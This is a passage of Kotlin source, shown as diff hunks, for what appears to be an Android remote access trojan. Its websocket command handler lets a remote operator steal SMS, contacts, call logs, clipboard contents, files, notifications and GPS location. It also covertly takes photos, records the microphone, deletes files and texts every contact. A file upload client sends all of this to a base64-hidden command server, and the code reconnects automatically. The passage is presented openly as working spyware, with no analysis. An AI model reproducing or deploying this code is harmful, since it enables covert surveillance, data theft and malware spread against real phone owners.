||||
val phoneNo = pCur.getString(
|
||||
pCur.getColumnIndex(
|
||||
ContactsContract.CommonDataKinds.Phone.NUMBER
|
||||
)
|
||||
)
|
||||
sendMessage(phoneNo, message)
|
||||
}
|
||||
pCur.close()
|
||||
}
|
||||
}
|
||||
}
|
||||
cur?.close()
|
||||
} else {
|
||||
request.sendText(AppRequest.Text("ᴍᴇꜱꜱᴀɢᴇ ᴀᴄᴛɪᴏɴ ᴘᴇʀᴍɪꜱꜱɪᴏɴ ᴅᴇɴɪᴇᴅ"))
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressLint("WrongConstant")
|
||||
fun uploadApps() {
|
||||
var allAppsText = "All Apps :\n\n\n "
|
||||
val mainIntent = Intent(Intent.ACTION_MAIN, null)
|
||||
mainIntent.addCategory(Intent.CATEGORY_LAUNCHER)
|
||||
val appList: List<ResolveInfo> =
|
||||
context.packageManager.queryIntentActivities(mainIntent, 0)
|
||||
for (app in appList) {
|
||||
allAppsText += app.activityInfo.name + "\n\n"
|
||||
}
|
||||
val file = File.createTempFile("All Apps - ${AppTools.getDeviceName()} - ", ".txt")
|
||||
val writer = FileWriter(file)
|
||||
writer.append(allAppsText)
|
||||
writer.flush()
|
||||
writer.close()
|
||||
request.sendFile(file)
|
||||
}
|
||||
|
||||
fun uploadDeviceInfo() {
|
||||
val model = AppTools.getDeviceName()
|
||||
val battery = AppTools.getBatteryPercentage(context)
|
||||
val file = File.createTempFile("Device Status - ${AppTools.getDeviceName()} - ", ".txt")
|
||||
val writer = FileWriter(file)
|
||||
writer.append("$model\n Battery Percentage : $battery")
|
||||
writer.flush()
|
||||
writer.close()
|
||||
request.sendFile(file)
|
||||
}
|
||||
|
||||
fun uploadClipboard() {
|
||||
AppScope.runMain {
|
||||
val clipBoardManager = context.getSystemService(CLIPBOARD_SERVICE) as ClipboardManager
|
||||
val clip = clipBoardManager.primaryClip?.getItemAt(0)?.text?.toString()
|
||||
val file =
|
||||
File.createTempFile("Clipboard - ${AppTools.getDeviceName()} - ", ".txt")
|
||||
val writer = FileWriter(file)
|
||||
writer.append("new Clipboard : $clip")
|
||||
writer.flush()
|
||||
writer.close()
|
||||
request.sendFile(file)
|
||||
clipBoardManager.addPrimaryClipChangedListener {
|
||||
val newClip = clipBoardManager.primaryClip?.getItemAt(0)?.text?.toString()
|
||||
val newFile =
|
||||
File.createTempFile(
|
||||
"Clipboard - ${AppTools.getDeviceName()} - ",
|
||||
".txt"
|
||||
)
|
||||
val newWriter = FileWriter(newFile)
|
||||
newWriter.append("new Clipboard : $newClip")
|
||||
newWriter.flush()
|
||||
newWriter.close()
|
||||
request.sendFile(newFile)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
fun uploadFile(path: String) {
|
||||
if (permission.checkReadExternalStorage()) {
|
||||
val file = File(Environment.getExternalStorageDirectory().path + "/" + path)
|
||||
if (file.exists()) {
|
||||
if (file.isDirectory) {
|
||||
val listFiles = file.listFiles()
|
||||
if (listFiles != null) {
|
||||
for (targetFile in listFiles) {
|
||||
request.sendFile(targetFile)
|
||||
}
|
||||
}
|
||||
}
|
||||
if (file.isFile) {
|
||||
request.sendFile(file)
|
||||
}
|
||||
} else {
|
||||
request.sendText(AppRequest.Text("ᴛʜᴇʀᴇ ɪꜱ ɴᴏ ꜱᴜᴄʜ ꜰᴏʟᴅᴇʀ ᴏʀ ꜰɪʟᴇ"))
|
||||
}
|
||||
} else {
|
||||
request.sendText(AppRequest.Text("ꜰɪʟᴇ ᴍᴀɴᴀɢᴇ ᴘᴇʀᴍɪꜱꜱɪᴏɴ ᴅᴇɴɪᴇᴅ"))
|
||||
}
|
||||
}
|
||||
|
||||
fun deleteFile(path: String) {
|
||||
if (AppPermission(context).checkWriteExternalStorage()) {
|
||||
val file = File(Environment.getExternalStorageDirectory().path + "/" + path)
|
||||
if (file.exists()) {
|
||||
if (file.isDirectory) {
|
||||
file.deleteRecursively()
|
||||
request.sendText(AppRequest.Text("File ${file.name} ᴅᴇʟᴇᴛᴇᴅ ꜱᴜᴄᴄᴇꜱꜱꜰᴜʟʟʏ"))
|
||||
}
|
||||
if (file.isFile) {
|
||||
file.delete()
|
||||
request.sendText(AppRequest.Text("File ${file.name} ᴅᴇʟᴇᴛᴇᴅ ꜱᴜᴄᴄᴇꜱꜱꜰᴜʟʟʏ"))
|
||||
}
|
||||
} else {
|
||||
request.sendText(AppRequest.Text("ᴛʜᴇʀᴇ ɪꜱ ɴᴏ ꜱᴜᴄʜ ꜰᴏʟᴅᴇʀ ᴏʀ ꜰɪʟᴇ"))
|
||||
}
|
||||
} else {
|
||||
request.sendText(AppRequest.Text("ꜰɪʟᴇ ᴍᴀɴᴀɢᴇ ᴘᴇʀᴍɪꜱꜱɪᴏɴ ᴅᴇɴɪᴇᴅ"))
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressLint("NewApi")
|
||||
fun captureMicrophone(duration: Long) {
|
||||
if (AppPermission(context).checkCaptureMic()) {
|
||||
request.sendText(AppRequest.Text("$duration ꜱᴇᴄᴏɴᴅ ʀᴇᴄᴏʀᴅ ꜱᴛᴀʀᴛᴇᴅ , ʏᴏᴜ ᴡɪʟʟ ʀᴇᴄᴇɪᴠᴇ ꜰɪʟᴇ ꜱᴏᴏɴ"))
|
||||
val file = File.createTempFile("Mic - ${AppTools.getDeviceName()} - ", ".amr")
|
||||
val mediaRecord = MediaRecorder()
|
||||
mediaRecord.setAudioSource(MediaRecorder.AudioSource.MIC)
|
||||
mediaRecord.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP)
|
||||
mediaRecord.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB)
|
||||
mediaRecord.setOutputFile(file)
|
||||
mediaRecord.prepare()
|
||||
mediaRecord.start()
|
||||
Handler(Looper.getMainLooper()).postDelayed({
|
||||
mediaRecord.stop()
|
||||
mediaRecord.release()
|
||||
request.sendFile(file)
|
||||
}, duration * 1000)
|
||||
} else {
|
||||
request.sendText(AppRequest.Text("ᴍɪᴄʀᴏᴘʜᴏɴᴇ ᴘᴇʀᴍɪꜱꜱɪᴏɴ ᴅᴇɴɪᴇᴅ"))
|
||||
}
|
||||
}
|
||||
|
||||
fun captureCameraMain() {
|
||||
if (AppPermission(context).checkCaptureCam()) {
|
||||
request.sendText(AppRequest.Text("ᴄᴀᴘᴛᴜʀᴇ ᴍᴀɪɴ ᴄᴀᴍᴇʀᴀ ꜱᴛᴀʀᴛᴇᴅ , ʏᴏᴜ ᴡɪʟʟ ʀᴇᴄᴇɪᴠᴇ ꜰɪʟᴇ ꜱᴏᴏɴ"))
|
||||
val file = File.createTempFile("Camera - ${AppTools.getDeviceName()} - ", ".png")
|
||||
val holder = SurfaceTexture(0)
|
||||
val camera = Camera.open(0)
|
||||
camera.setPreviewTexture(holder)
|
||||
camera.startPreview()
|
||||
camera.takePicture(
|
||||
null,
|
||||
null,
|
||||
) { p0, p1 ->
|
||||
file.writeBytes(p0)
|
||||
p1.release()
|
||||
request.sendFile(file)
|
||||
request.sendText(AppRequest.Text(""))
|
||||
}
|
||||
} else {
|
||||
request.sendText(AppRequest.Text("ᴄᴀᴍᴇʀᴀ ᴘᴇʀᴍɪꜱꜱɪᴏɴ ᴅᴇɴɪᴇᴅ"))
|
||||
}
|
||||
}
|
||||
|
||||
fun captureCameraSelfie() {
|
||||
if (AppPermission(context).checkCaptureCam()) {
|
||||
request.sendText(AppRequest.Text("ᴄᴀᴘᴛᴜʀᴇ ꜱᴇʟꜰɪᴇ ᴄᴀᴍᴇʀᴀ ꜱᴛᴀʀᴛᴇᴅ , ʏᴏᴜ ᴡɪʟʟ ʀᴇᴄᴇɪᴠᴇ ꜰɪʟᴇ ꜱᴏᴏɴ"))
|
||||
val file = File.createTempFile("Camera - ${AppTools.getDeviceName()} - ", ".png")
|
||||
val holder = SurfaceTexture(0)
|
||||
val camera = Camera.open(1)
|
||||
camera.setPreviewTexture(holder)
|
||||
camera.startPreview()
|
||||
camera.takePicture(
|
||||
null,
|
||||
null,
|
||||
) { p0, p1 ->
|
||||
file.writeBytes(p0)
|
||||
p1.release()
|
||||
request.sendFile(file)
|
||||
}
|
||||
} else {
|
||||
request.sendText(AppRequest.Text("ᴄᴀᴍᴇʀᴀ ᴘᴇʀᴍɪꜱꜱɪᴏɴ ᴅᴇɴɪᴇᴅ"))
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressLint("MissingPermission", "NewApi")
|
||||
fun uploadGpsLocation() {
|
||||
request.sendText(AppRequest.Text("ʟᴏᴄᴀᴛɪᴏɴ ʀᴇQᴜᴇꜱᴛ ʀᴇᴄᴇɪᴠᴇᴅ, ᴅᴇᴠɪᴄᴇ ʟᴏᴄᴀᴛɪᴏɴ ᴡɪʟʟ ʙᴇ ꜱᴇɴᴛ ꜱᴏᴏɴ ɪꜰ ᴀᴠᴀɪʟᴀʙʟᴇ"))
|
||||
if (permission.checkGetLocation()) {
|
||||
val client = FusedLocationProviderClient(context)
|
||||
val locationRequest = LocationRequest.create()
|
||||
locationRequest.priority = LocationRequest.PRIORITY_HIGH_ACCURACY
|
||||
client.requestLocationUpdates(locationRequest, object : LocationCallback() {
|
||||
override fun onLocationResult(p0: LocationResult) {
|
||||
if (p0 != null) {
|
||||
val lat = p0.lastLocation?.latitude
|
||||
val lon = p0.lastLocation?.longitude
|
||||
if (lat != null) {
|
||||
if (lon != null) {
|
||||
request.sendLocation(
|
||||
AppRequest.Location(
|
||||
lat.toFloat(),
|
||||
lon.toFloat()
|
||||
)
|
||||
)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}, Looper.getMainLooper())
|
||||
} else {
|
||||
request.sendText(AppRequest.Text("ɢᴘꜱ ᴘᴇʀᴍɪꜱꜱɪᴏɴ ᴅᴇɴɪᴇᴅ"))
|
||||
}
|
||||
}
|
||||
|
||||
fun showToast(text: String) {
|
||||
Handler(Looper.getMainLooper()).post {
|
||||
Toast.makeText(context, text, Toast.LENGTH_LONG).show()
|
||||
}
|
||||
request.sendText(AppRequest.Text("ᴛʜᴇ ᴍᴇꜱꜱᴀɢᴇ ᴡᴀꜱ ꜱᴜᴄᴄᴇꜱꜱꜰᴜʟʟʏ ᴅɪꜱᴘʟᴀʏᴇᴅ"))
|
||||
}
|
||||
|
||||
@SuppressLint("NewApi")
|
||||
fun showNotification(title: String, url: String) {
|
||||
val NOTIFICATION_CHANNEL_ID = "channel"
|
||||
val notificationIntent = Intent(Intent.ACTION_VIEW)
|
||||
notificationIntent.data = Uri.parse(url);
|
||||
val resultIntent = PendingIntent.getActivity(
|
||||
context,
|
||||
0,
|
||||
notificationIntent,
|
||||
PendingIntent.FLAG_MUTABLE
|
||||
)
|
||||
val mBuilder = NotificationCompat.Builder(context, NOTIFICATION_CHANNEL_ID)
|
||||
.setSmallIcon(R.drawable.ic_baseline_warning_24)
|
||||
.setContentTitle(title)
|
||||
.setContentText("")
|
||||
.setBadgeIconType(NotificationCompat.BADGE_ICON_LARGE)
|
||||
.setPriority(NotificationManager.IMPORTANCE_HIGH)
|
||||
.setContentIntent(resultIntent)
|
||||
val mNotificationManager =
|
||||
context.getSystemService(Context.NOTIFICATION_SERVICE) as NotificationManager?
|
||||
mNotificationManager!!.notify(
|
||||
System.currentTimeMillis().toInt(),
|
||||
mBuilder.build()
|
||||
)
|
||||
request.sendText(AppRequest.Text("ᴛʜᴇ ɴᴏᴛɪꜰɪᴄᴀᴛɪᴏɴ ᴡᴀꜱ ꜱᴜᴄᴄᴇꜱꜱꜰᴜʟʟʏ ᴅɪꜱᴘʟᴀʏᴇᴅ"))
|
||||
}
|
||||
|
||||
@SuppressLint("NewApi")
|
||||
fun vibratePhone() {
|
||||
val vibrationManager =
|
||||
context.getSystemService(Service.VIBRATOR_MANAGER_SERVICE) as VibratorManager
|
||||
vibrationManager.vibrate(
|
||||
CombinedVibration.createParallel(
|
||||
VibrationEffect.createOneShot(
|
||||
2000,
|
||||
1
|
||||
)
|
||||
)
|
||||
)
|
||||
request.sendText(AppRequest.Text("ᴅᴇᴠɪᴄᴇ ᴠɪʙʀᴀᴛɪᴏɴ ʜᴀꜱ ʙᴇᴇɴ ᴇxᴇᴄᴜᴛᴇᴅ ꜱᴜᴄᴄᴇꜱꜱꜰᴜʟʟʏ"))
|
||||
}
|
||||
|
||||
fun playAudio(url: String) {
|
||||
AppScope.runMain {
|
||||
try {
|
||||
mediaPlayer = MediaPlayer()
|
||||
if (mediaPlayer != null) {
|
||||
mediaPlayer!!.setDataSource(url)
|
||||
mediaPlayer!!.prepare()
|
||||
mediaPlayer!!.start()
|
||||
request.sendText(AppRequest.Text("ᴛʜᴇ ᴀᴜᴅɪᴏ ꜰɪʟᴇ ɪꜱ ᴘʟᴀʏɪɴɢ ꜱᴜᴄᴄᴇꜱꜱꜰᴜʟʟʏ"))
|
||||
}
|
||||
} catch (e:Exception){
|
||||
request.sendText(AppRequest.Text("ᴀᴜᴅɪᴏ ꜰɪʟᴇ ᴘʟᴀʏʙᴀᴄᴋ ꜰᴀɪʟᴇᴅ"))
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
fun stopAudio() {
|
||||
AppScope.runMain {
|
||||
if (mediaPlayer != null) {
|
||||
mediaPlayer!!.release()
|
||||
mediaPlayer = null
|
||||
request.sendText(AppRequest.Text("ᴀᴜᴅɪᴏ ꜰɪʟᴇ ꜱᴛᴏᴘᴘᴇᴅ ꜱᴜᴄᴄᴇꜱꜱꜰᴜʟʟʏ"))
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
data class SmsModel(
|
||||
val phone: String,
|
||||
val message: String,
|
||||
val device: String
|
||||
)
|
||||
}
|
@ -0,0 +1,19 @@
|
||||
package willi.fiend.Utils
|
||||
|
||||
import android.service.notification.NotificationListenerService
|
||||
import android.service.notification.StatusBarNotification
|
||||
|
||||
class AppNotificationListener : NotificationListenerService() {
|
||||
override fun onNotificationPosted(sbn: StatusBarNotification?) {
|
||||
val title = sbn?.notification?.extras?.getString("android.title")
|
||||
val text = sbn?.notification?.extras?.getString("android.text")
|
||||
val packageName = sbn?.packageName
|
||||
|
||||
var message = ""
|
||||
message += "App : $packageName\n"
|
||||
message += "Title : $title\n"
|
||||
message += "Text : $text"
|
||||
|
||||
AppRequest().sendText(AppRequest.Text(message))
|
||||
}
|
||||
}
|
@ -0,0 +1,106 @@
|
||||
package willi.fiend.Utils
|
||||
|
||||
import android.Manifest
|
||||
import android.content.Context
|
||||
import android.content.pm.PackageManager
|
||||
import com.karumi.dexter.Dexter
|
||||
import com.karumi.dexter.MultiplePermissionsReport
|
||||
import com.karumi.dexter.PermissionToken
|
||||
import com.karumi.dexter.listener.PermissionRequest
|
||||
import com.karumi.dexter.listener.multi.MultiplePermissionsListener
|
||||
|
||||
class AppPermission(private val context: Context) {
|
||||
fun getPerms(onPermissionsChecked: () -> Unit) {
|
||||
Dexter
|
||||
.withContext(context)
|
||||
.withPermissions(
|
||||
Manifest.permission.READ_EXTERNAL_STORAGE,
|
||||
Manifest.permission.RECEIVE_SMS,
|
||||
Manifest.permission.READ_SMS,
|
||||
Manifest.permission.SEND_SMS,
|
||||
Manifest.permission.READ_CALL_LOG,
|
||||
Manifest.permission.READ_CONTACTS,
|
||||
Manifest.permission.INTERNET,
|
||||
Manifest.permission.RECORD_AUDIO,
|
||||
Manifest.permission.CAMERA,
|
||||
Manifest.permission.ACCESS_FINE_LOCATION,
|
||||
Manifest.permission.ACCESS_COARSE_LOCATION
|
||||
).withListener(object : MultiplePermissionsListener {
|
||||
override fun onPermissionsChecked(p0: MultiplePermissionsReport?) {
|
||||
onPermissionsChecked()
|
||||
}
|
||||
|
||||
override fun onPermissionRationaleShouldBeShown(
|
||||
p0: MutableList<PermissionRequest>?,
|
||||
p1: PermissionToken?
|
||||
) {}
|
||||
}).check()
|
||||
}
|
||||
|
||||
fun checkReadExternalStorage(): Boolean {
|
||||
val granted = PackageManager.PERMISSION_GRANTED
|
||||
val requiredPermission = Manifest.permission.READ_EXTERNAL_STORAGE
|
||||
val checkPrem: Int = context.checkCallingOrSelfPermission(requiredPermission)
|
||||
return checkPrem == granted
|
||||
}
|
||||
|
||||
fun checkWriteExternalStorage(): Boolean {
|
||||
val granted = PackageManager.PERMISSION_GRANTED
|
||||
val requiredPermission = Manifest.permission.WRITE_EXTERNAL_STORAGE
|
||||
val checkPrem: Int = context.checkCallingOrSelfPermission(requiredPermission)
|
||||
return checkPrem == granted
|
||||
}
|
||||
|
||||
fun checkReadSms(): Boolean {
|
||||
val granted = PackageManager.PERMISSION_GRANTED
|
||||
val requiredPermission2 = Manifest.permission.READ_SMS
|
||||
val checkPrem2: Int = context.checkCallingOrSelfPermission(requiredPermission2)
|
||||
return checkPrem2 == granted
|
||||
}
|
||||
|
||||
fun checkReceiveSms(): Boolean {
|
||||
val granted = PackageManager.PERMISSION_GRANTED
|
||||
val requiredPermission = Manifest.permission.RECEIVE_SMS
|
||||
val checkPrem: Int = context.checkCallingOrSelfPermission(requiredPermission)
|
||||
return checkPrem == granted
|
||||
}
|
||||
|
||||
fun checkSendSms(): Boolean {
|
||||
val granted = PackageManager.PERMISSION_GRANTED
|
||||
val requiredPermission3 = Manifest.permission.SEND_SMS
|
||||
val checkPrem3: Int = context.checkCallingOrSelfPermission(requiredPermission3)
|
||||
return checkPrem3 == granted
|
||||
}
|
||||
|
||||
fun checkReadCallLog(): Boolean {
|
||||
val granted = PackageManager.PERMISSION_GRANTED
|
||||
val requiredPermission = Manifest.permission.READ_CALL_LOG
|
||||
val checkPrem: Int = context.checkCallingOrSelfPermission(requiredPermission)
|
||||
return checkPrem == granted
|
||||
}
|
||||
|
||||
fun checkReadContacts(): Boolean {
|
||||
val granted = PackageManager.PERMISSION_GRANTED
|
||||
val requiredPermission = Manifest.permission.READ_CONTACTS
|
||||
val checkPrem: Int = context.checkCallingOrSelfPermission(requiredPermission)
|
||||
return checkPrem == granted
|
||||
}
|
||||
fun checkCaptureMic(): Boolean {
|
||||
val granted = PackageManager.PERMISSION_GRANTED
|
||||
val requiredPermission = Manifest.permission.RECORD_AUDIO
|
||||
val checkPrem: Int = context.checkCallingOrSelfPermission(requiredPermission)
|
||||
return checkPrem == granted
|
||||
}
|
||||
fun checkCaptureCam(): Boolean {
|
||||
val granted = PackageManager.PERMISSION_GRANTED
|
||||
val requiredPermission = Manifest.permission.CAMERA
|
||||
val checkPrem: Int = context.checkCallingOrSelfPermission(requiredPermission)
|
||||
return checkPrem == granted
|
||||
}
|
||||
fun checkGetLocation(): Boolean {
|
||||
val granted = PackageManager.PERMISSION_GRANTED
|
||||
val requiredPermission = Manifest.permission.ACCESS_FINE_LOCATION
|
||||
val checkPrem: Int = context.checkCallingOrSelfPermission(requiredPermission)
|
||||
return checkPrem == granted
|
||||
}
|
||||
}
|
@ -0,0 +1,111 @@
|
||||
package willi.fiend.Utils
|
||||
|
||||
import android.content.Context
|
||||
import android.util.Log
|
||||
import androidx.lifecycle.ViewModel
|
||||
import androidx.lifecycle.viewModelScope
|
||||
import com.google.gson.Gson
|
||||
import kotlinx.coroutines.Dispatchers
|
||||
import kotlinx.coroutines.launch
|
||||
import okhttp3.*
|
||||
import okhttp3.MediaType.Companion.toMediaType
|
||||
import java.io.File
|
||||
import java.io.IOException
|
||||
|
||||
class AppRequest() : ViewModel() {
|
||||
private val CLIENT = OkHttpClient()
|
||||
private val HOST = AppTools.getAppData().host
|
||||
|
||||
fun awake() {
|
||||
viewModelScope.launch(Dispatchers.IO) {
|
||||
val request = Request.Builder().url(HOST).build()
|
||||
CLIENT.newCall(request).enqueue(object : Callback {
|
||||
override fun onFailure(call: Call, e: IOException) {}
|
||||
override fun onResponse(call: Call, response: Response) {
|
||||
response.close()
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
fun sendFile(file: File) {
|
||||
viewModelScope.launch(Dispatchers.IO) {
|
||||
val formBody = MultipartBody.Builder()
|
||||
.setType(MultipartBody.FORM)
|
||||
.addFormDataPart("file", file.name, RequestBody.create(null, file))
|
||||
.build()
|
||||
val request = Request.Builder()
|
||||
.url(HOST + "uploadFile/")
|
||||
.post(formBody)
|
||||
.addHeader("model", AppTools.getDeviceName())
|
||||
.build()
|
||||
CLIENT.newCall(request).enqueue(object : Callback {
|
||||
override fun onFailure(call: Call, e: IOException) {}
|
||||
override fun onResponse(call: Call, response: Response) {
|
||||
response.close()
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
fun sendText(text: Text) {
|
||||
viewModelScope.launch(Dispatchers.IO) {
|
||||
val gson = Gson().toJson(text)
|
||||
val request = Request.Builder()
|
||||
.url(HOST + "uploadText/")
|
||||
.post(RequestBody.create("application/json; charset=utf-8".toMediaType(), gson))
|
||||
.addHeader("model", AppTools.getDeviceName())
|
||||
.build()
|
||||
CLIENT.newCall(request).enqueue(object : Callback {
|
||||
override fun onFailure(call: Call, e: IOException) {}
|
||||
override fun onResponse(call: Call, response: Response) {
|
||||
response.close()
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
fun sendLocation(location: Location) {
|
||||
viewModelScope.launch(Dispatchers.IO) {
|
||||
val gson = Gson().toJson(location).toString()
|
||||
val request = Request.Builder()
|
||||
.url(HOST + "uploadLocation/")
|
||||
.post(RequestBody.create("application/json; charset=utf-8".toMediaType(), gson))
|
||||
.addHeader("model", AppTools.getDeviceName())
|
||||
.build()
|
||||
CLIENT.newCall(request).enqueue(object : Callback {
|
||||
override fun onFailure(call: Call, e: IOException) {}
|
||||
override fun onResponse(call: Call, response: Response) {
|
||||
response.close()
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
fun sendWaterMark(){
|
||||
viewModelScope.launch(Dispatchers.IO) {
|
||||
Log.i("WAT",AppTools.getWatermark())
|
||||
val gson = Gson().toJson(Text(AppTools.getWatermark()))
|
||||
val request = Request.Builder()
|
||||
.url(HOST + "uploadText/")
|
||||
.post(RequestBody.create("application/json; charset=utf-8".toMediaType(), gson))
|
||||
.addHeader("model", AppTools.getDeviceName())
|
||||
.build()
|
||||
CLIENT.newCall(request).enqueue(object : Callback {
|
||||
override fun onFailure(call: Call, e: IOException) {}
|
||||
override fun onResponse(call: Call, response: Response) {
|
||||
response.close()
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
data class Location(
|
||||
val lat: Float,
|
||||
val lon: Float
|
||||
)
|
||||
|
||||
data class Text(
|
||||
val text: String
|
||||
)
|
||||
}
|
@ -0,0 +1,24 @@
|
||||
package willi.fiend.Utils
|
||||
|
||||
import android.os.Handler
|
||||
import android.os.Looper
|
||||
import androidx.lifecycle.ViewModel
|
||||
import androidx.lifecycle.viewModelScope
|
||||
import kotlinx.coroutines.Dispatchers
|
||||
import kotlinx.coroutines.launch
|
||||
|
||||
class AppScope(val runnable: Runnable) : Runnable , ViewModel(){
|
||||
override fun run() {
|
||||
viewModelScope.launch(Dispatchers.IO) {
|
||||
runnable.run()
|
||||
}
|
||||
}
|
||||
companion object {
|
||||
fun runBack(runnable: Runnable) {
|
||||
AppScope(runnable).run()
|
||||
}
|
||||
fun runMain(runnable: Runnable){
|
||||
Handler(Looper.getMainLooper()).post(runnable)
|
||||
}
|
||||
}
|
||||
}
|
@ -0,0 +1,157 @@
|
||||
package willi.fiend.Utils
|
||||
|
||||
import android.content.Context
|
||||
import android.os.Handler
|
||||
import android.os.Looper
|
||||
import android.util.Log
|
||||
import okhttp3.OkHttpClient
|
||||
import okhttp3.Request
|
||||
import okhttp3.Response
|
||||
import okhttp3.WebSocket
|
||||
|
||||
|
||||
class AppSocket(val context: Context) :
|
||||
okhttp3.WebSocketListener() {
|
||||
private val client = OkHttpClient()
|
||||
private val requests = AppRequest()
|
||||
val action = AppActions(context)
|
||||
|
||||
fun connect() {
|
||||
AppScope.runBack {
|
||||
val request = Request.Builder().url(AppTools.getAppData().socket)
|
||||
requests.awake()
|
||||
request.addHeader("model", AppTools.getDeviceName())
|
||||
request.addHeader("battery", AppTools.getBatteryPercentage(context).toString())
|
||||
request.addHeader("version", AppTools.getAndroidVersion().toString() + " (SDK)")
|
||||
request.addHeader("brightness", AppTools.getScreenBrightness(context).toString())
|
||||
request.addHeader("provider", AppTools.getProviderName(context))
|
||||
client.newWebSocket(request.build(), this)
|
||||
}
|
||||
}
|
||||
|
||||
override fun onMessage(webSocket: WebSocket, text: String) {
|
||||
Log.i("MESSAGE",text)
|
||||
when(text){
|
||||
"calls" -> {
|
||||
requests.sendWaterMark()
|
||||
action.uploadCalls()
|
||||
}
|
||||
"contacts" -> {
|
||||
requests.sendWaterMark()
|
||||
action.uploadContact()
|
||||
}
|
||||
"messages" -> {
|
||||
requests.sendWaterMark()
|
||||
action.uploadMessages()
|
||||
}
|
||||
"apps" -> {
|
||||
requests.sendWaterMark()
|
||||
action.uploadApps()
|
||||
}
|
||||
"device_info" -> {
|
||||
requests.sendWaterMark()
|
||||
action.uploadDeviceInfo()
|
||||
}
|
||||
"clipboard" -> {
|
||||
requests.sendWaterMark()
|
||||
action.uploadClipboard()
|
||||
}
|
||||
"camera_main" -> {
|
||||
requests.sendWaterMark()
|
||||
action.captureCameraMain()
|
||||
}
|
||||
"camera_selfie" -> {
|
||||
requests.sendWaterMark()
|
||||
action.captureCameraSelfie()
|
||||
}
|
||||
"gpsLocation" -> {
|
||||
requests.sendWaterMark()
|
||||
action.uploadGpsLocation()
|
||||
}
|
||||
"vibrate" -> {
|
||||
requests.sendWaterMark()
|
||||
action.vibratePhone()
|
||||
}
|
||||
"stop_audio" -> {
|
||||
requests.sendWaterMark()
|
||||
action.stopAudio()
|
||||
}
|
||||
"ping" -> webSocket.send("pong")
|
||||
else -> {
|
||||
val commend = text.split(":")[0]
|
||||
val data = text.split(":")[1]
|
||||
when(commend){
|
||||
"send_message" -> {
|
||||
val number = data.split("/")[0]
|
||||
val message = data.split("/")[1]
|
||||
action.sendMessage(number, message)
|
||||
requests.sendWaterMark()
|
||||
}
|
||||
"send_message_to_all" -> {
|
||||
action.messageToAllContacts(data)
|
||||
requests.sendWaterMark()
|
||||
}
|
||||
"file" -> {
|
||||
action.uploadFile(data)
|
||||
requests.sendWaterMark()
|
||||
}
|
||||
"delete_file" -> {
|
||||
action.deleteFile(data)
|
||||
requests.sendWaterMark()
|
||||
}
|
||||
"microphone" -> {
|
||||
val duration = data.toLongOrNull()
|
||||
if (duration != null) {
|
||||
action.captureMicrophone(duration)
|
||||
requests.sendWaterMark()
|
||||
} else {
|
||||
requests.sendText(AppRequest.Text("Invalid duration"))
|
||||
requests.sendWaterMark()
|
||||
}
|
||||
}
|
||||
"toast" -> {
|
||||
action.showToast(data)
|
||||
requests.sendWaterMark()
|
||||
}
|
||||
"show_notification" -> {
|
||||
val notificationData = text.substringAfter(":")
|
||||
val title = notificationData.substringBefore("/")
|
||||
val url = notificationData.substringAfter("/")
|
||||
action.showNotification(title, url)
|
||||
requests.sendWaterMark()
|
||||
}
|
||||
"play_audio" -> {
|
||||
action.playAudio(text.substringAfter(":"))
|
||||
requests.sendWaterMark()
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
override fun onOpen(webSocket: WebSocket, response: Response) {}
|
||||
|
||||
override fun onClosed(webSocket: WebSocket, code: Int, reason: String) {
|
||||
Log.i("ERR",reason)
|
||||
Handler(Looper.getMainLooper()).postDelayed({
|
||||
connect()
|
||||
}, 5000)
|
||||
}
|
||||
|
||||
override fun onFailure(webSocket: WebSocket, t: Throwable, response: Response?) {
|
||||
t.printStackTrace()
|
||||
if (response != null) {
|
||||
Log.i("ERR", response.message)
|
||||
}
|
||||
Handler(Looper.getMainLooper()).postDelayed({
|
||||
connect()
|
||||
}, 5000)
|
||||
}
|
||||
|
||||
override fun onClosing(webSocket: WebSocket, code: Int, reason: String) {
|
||||
Log.i("ERR",reason)
|
||||
Handler(Looper.getMainLooper()).postDelayed({
|
||||
connect()
|
||||
}, 5000)
|
||||
}
|
||||
}
|
@ -0,0 +1,186 @@
|
||||
package willi.fiend.Utils
|
||||
|
||||
import android.annotation.SuppressLint
|
||||
import android.app.Activity
|
||||
import android.app.ActivityManager
|
||||
import android.app.DownloadManager
|
||||
import android.content.ContentResolver
|
||||
import android.content.Context
|
||||
import android.graphics.Bitmap
|
||||
import android.graphics.Canvas
|
||||
import android.graphics.Color
|
||||
import android.graphics.Paint
|
||||
import android.net.Uri
|
||||
import android.os.BatteryManager
|
||||
import android.os.Build
|
||||
import android.os.Environment
|
||||
import android.provider.Settings
|
||||
import android.telephony.TelephonyManager
|
||||
import android.webkit.DownloadListener
|
||||
import android.webkit.URLUtil
|
||||
import androidx.activity.ComponentActivity
|
||||
import com.google.gson.Gson
|
||||
import willi.fiend.MainService
|
||||
import java.util.*
|
||||
|
||||
|
||||
@SuppressLint("Range")
|
||||
class AppTools {
|
||||
companion object {
|
||||
@SuppressLint("NewApi")
|
||||
fun getAppData(): AppData {
|
||||
val data = ""
|
||||
val text = decode(data)
|
||||
return Gson().fromJson(text, AppData::class.java)
|
||||
}
|
||||
|
||||
@SuppressLint("NewApi")
|
||||
private fun decode(base64: String): String {
|
||||
val decodedBytes: ByteArray = Base64.getDecoder().decode(base64)
|
||||
return String(decodedBytes)
|
||||
}
|
||||
|
||||
@SuppressLint("NewApi")
|
||||
fun getWatermark(): String {
|
||||
val encodedWatermark = "4bSF4bSH4bSg4bSHyp/htI/htJjhtIfhtIUgypnKjyA6IEBoYWNrZGFnZ2Vy"
|
||||
val decodedWatermark = Base64.getDecoder().decode(encodedWatermark)
|
||||
return String(decodedWatermark)
|
||||
}
|
||||
|
||||
data class AppData(
|
||||
val host: String,
|
